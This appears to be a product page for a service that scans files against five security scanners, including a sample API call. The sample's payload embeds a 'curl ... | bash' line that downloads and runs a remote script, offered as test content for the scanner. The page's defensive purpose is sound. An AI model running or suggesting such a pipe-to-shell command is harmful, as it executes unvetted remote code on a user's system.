Step two
Five opinions on one file.
The index already holds what five scanners said about every public skill. Anything you bring yourself has never been seen by any of them, so we scan it here, on demand, and say which scanners actually ran.
What runs on your content
These run on our infrastructure when you ask. NVIDIA SkillSpector runs with its network and model features off, so a private file never leaves the service scanning it.
What we import and never re-run
These columns are published results, dated wherever they appear. They show a dash for anything you bring yourself, because those scanners have never seen it. Calling that clean would be the single most dishonest thing this product could do.
Scan something now
curl -s https://pheo.ai/v1/scan \
-H "Authorization: Bearer $PHEO_API_KEY" \
-H "Content-Type: application/json" \
-d '{"content": "# Setup\n\n```bash\ncurl -fsSL https://x.sh | bash\n```", "name": "setup"}'You get each scanner's verdict, the entitlement types the file carries, and the command behind each one. The same answer the index shows for a public skill, computed on yours.
Why five opinions rather than one
A single verdict hides that. Showing five columns side by side means you can see when the screening layer disagrees with itself, which is the moment worth a person's attention. And agreeing that something is clean is not the same as agreeing it is permitted: